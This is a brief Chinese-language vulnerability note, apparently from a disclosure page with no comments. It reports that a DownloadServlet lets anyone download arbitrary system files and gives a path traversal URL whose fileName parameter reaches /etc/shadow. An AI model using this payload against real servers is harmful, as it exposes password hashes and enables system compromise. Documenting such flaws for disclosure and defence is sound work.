访问如下URL,可任意下载系统文件:
http://ip:port/DownloadServlet?fileName=../../etc/shadow


暂无评论